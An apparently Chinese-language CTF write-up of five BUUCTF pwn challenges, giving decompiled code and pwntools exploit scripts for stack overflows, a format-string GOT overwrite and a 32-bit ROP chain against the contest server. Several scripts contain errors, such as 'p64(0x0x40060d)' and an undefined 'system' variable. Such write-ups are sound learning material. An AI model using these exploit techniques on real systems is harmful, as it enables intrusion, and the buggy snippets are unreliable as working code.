buu pwn wp(持续更新) Smera1d0 2023-10-19 2023-10-19 buu pwn wp(持续更新) 1、warmup_csaw_2016 main函数如下
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall main (int a1, char **a2, char **a3) { char s[64 ]; char v5[64 ]; write(1 , "-Warm Up-\n" , 0xA uLL); write(1 , "WOW:" , 4uLL ); sprintf (s, "%p\n" , sub_40060D); write(1 , s, 9uLL ); write(1 , ">" , 1uLL ); return gets(v5); }
首先使用write函数打印文字引导”-Warm Up-“, 新行
打印”WOW:”, 不换行
使用sprintf函数将当前sub_40060D函数的地址以16进制格式打印到字符串s中,打印地址和新行
打印”>”,不换行
使用gets函数从标准输入读取一行字符到缓冲区v5中
返回gets函数读取到的字符数量
提示我们查看sub_40060D函数
sub_40060D函数如下:
1 2 3 4 int sub_40060D () { return system("cat flag.txt" ); }
发现是后门函数,可以利用get函数进行栈溢出
exp:
1 2 3 4 5 6 from pwn import *r = remote("node4.buuoj.cn" ,25798 ) offset = 0x40 +8 payload = b'a' *offset+p64(0x0x40060d) r.sendline(payload) r.interactive()
2、ciscn_2019_n_1 main函数如下:
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); func(); return 0 ; }
这段代码是 C 语言主函数 main 的实现:
main 函数的参数及返回值符合标准 C 语言主函数定义
argc 和 argv 是命令行参数,envp 是环境变量
setvbuf 函数是设置输入/输出缓冲方式的函数:
_bss_start 是未初始化数据段的起始位置
0LL 表示不使用缓冲
2 表示使用行缓冲模式
0LL 表示缓冲区大小由函数自动决定
因此 setvbuf 为 _bss_start 和标准输入 stdin 设置行缓冲模式
调用 func() 函数
返回 0 表示程序成功终止
主要功能是:
设置未初始化数据段和标准输入为行缓冲模式
调用函数 func
返回主函数退出码 0
继续查看func()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int func () { int result; char v1[44 ]; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(v1); if ( v2 == 11.28125 ) result = system("cat /flag" ); else result = puts ("Its value should be 11.28125" ); return result; }
有两种方法:
1.利用gets(v1)
进行栈溢出,然后执行system("cat /flag")
字符串v1:
exp如下:
1 2 3 4 5 6 from pwn import *r = remote("node4.buuoj.cn" ,25798 ) sys_addr = 0x4006BE payload = b'A' *(0x30 +8 ) + p64(sys_addr) r.send(payload) r.interactive()
2.利用gets(v1)
进行栈溢出,覆盖到v2的部分,将v2的值修改为11.28125 观察到v2是从0x04开始,我们需要覆盖0x30-0x04
个a
这行disassemble代码是对xmm0和存储在cs段中的地址0x4007F4处double字进行单精度浮点数比较的ucomiss指令。
具体来说:
ucomiss:单精度浮点数比较指令,比较xmm0和直接地址指定的单精度浮点数,结果存储在状态寄存器中。
xmm0:xmm寄存器,用于存放单精度浮点数操作数。
cs:dword_4007F4:使用cs段基址加上偏移0x4007F4处存放的单精度浮点数。
cs段是代码段,通常存储程序代码及静态数据,0x4007F4处可能是某个全局单精度浮点数常量。
所以这条指令是将xmm0寄存器中的单精度浮点数与存储在0x4007F4地址处的单精度浮点常量进行比较,结果通过状态寄存器表示哪个数较大或两数是否相等。
一般情况下这种cmp指令常用于判断单精度浮点数是否满足某个条件,属于浮点数比较及条件判断常用操作。
我们跟进0x4007F4,发现此处存放着41348000h,即11.28125的十六进制。
于是exp如下:
1 2 3 4 5 6 7 8 from pwn import *p=remote('node3.buuoj.cn' ,29191 ) offset = 0x30 -0x04 payload = "A" *offset + p64(0x41348000 ) p.sendline(payload) p.interactive()
3、pwn1_sctf_2016 32位
main函数如下:
1 2 3 4 5 int __cdecl main (int argc, const char **argv, const char **envp) { vuln(); return 0 ; }
vuln()函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int vuln () { const char *v0; char s[32 ]; char v3[4 ]; char v4[7 ]; char v5; char v6[7 ]; char v7[5 ]; printf ("Tell me something about yourself: " ); fgets(s, 32 , edata); std ::string ::operator=(&input, s); std ::allocator<char >::allocator(&v5); std ::string ::string (v4, "you" , &v5); std ::allocator<char >::allocator(v7); std ::string ::string (v6, "I" , v7); replace((std ::string *)v3); std ::string ::operator=(&input, v3, v6, v4); std ::string ::~string (v3); std ::string ::~string (v6); std ::allocator<char >::~allocator(v7); std ::string ::~string (v4); std ::allocator<char >::~allocator(&v5); v0 = (const char *)std ::string ::c_str((std ::string *)&input); strcpy (s, v0); return printf ("So, %s\n" , s); }
这段代码实现了一个简单的字符串替换。
主要步骤:
使用printf打印提示用户输入个人信息
使用fgets获取输入存入缓冲区s
将s赋值给全局变量input
构造两个子字符串”you”和”I”
调用replace函数替换input中的”I”为”you”
打印替换后的结果
fgets(s, 32, edata);
只能读入32个字符 而s从0x3C开始,32个字符无法溢出,但是由于程序会把I替换成you
于是我们就可以造成溢出了 exp如下:
1 2 3 4 5 6 7 8 9 10 from pwn import *r = remote("node4.buuoj.cn" ,25798 ) payload = b'I' *20 +b'a' *4 + p32(0x8048F0D ) r.sendline(payload) r.interactive()
4.[第五空间2019 决赛]PWN5 main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int __cdecl main(int a1) { unsigned int v1; // eax int result; // eax int fd; // [esp+0h] [ebp-84h] char nptr[16]; // [esp+4h] [ebp-80h] BYREF char buf[100]; // [esp+14h] [ebp-70h] BYREF unsigned int v6; // [esp+78h] [ebp-Ch] int *v7; // [esp+7Ch] [ebp-8h] v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result;
可以发现,第21行printf(buf);
存在格式化字符串漏洞
首先我们确定偏移是10
然后我们确定dword_804C044
bss字段的地址为0x0804C044
我们可以构造
1 2 payload = p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)#4bytes payload=payload+b'%10$n%11$n%12$n%13$n'
exp如下:
1 2 3 4 5 6 7 8 from pwn import *p = remote("node4.buuoj.cn" ,28174 ) bss = 0x0804C044 payload = p32(bss)+p32(bss+1 )+p32(bss+2 )+p32(bss+3 ) payload=payload+b'%10$n%11$n%12$n%13$n' p.sendline(payload) p.sendline(str (0x10101010 )) p.interactive()
利用pwntools自带的fmtstr_payload
1 2 3 4 5 6 7 8 9 from pwn import *p = remote('node4.buuoj.cn' ,28174 ) elf = ELF('/home/miyu/Desktop/pwn' ) atoi_got = elf.got['atoi' ] system_plt = elf.plt['system' ] payload=fmtstr_payload(10 ,{atoi_got:system_plt}) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
5.jarvisoj_level2 32位栈溢出+构造ROP链
1 2 3 4 5 6 7 8 from pwn import * p = remote("node4.buuoj.cn",26412) binsh = 0x0804A024 system_plt = 0x8048320 offset = 0x88+4 payload = b'a'*offset+p32(system)+p32(0)+p32(binsh) p.sendline(payload) p.interactive()
32位不用ROPgadget查rdi,直接p32(一个常数)即可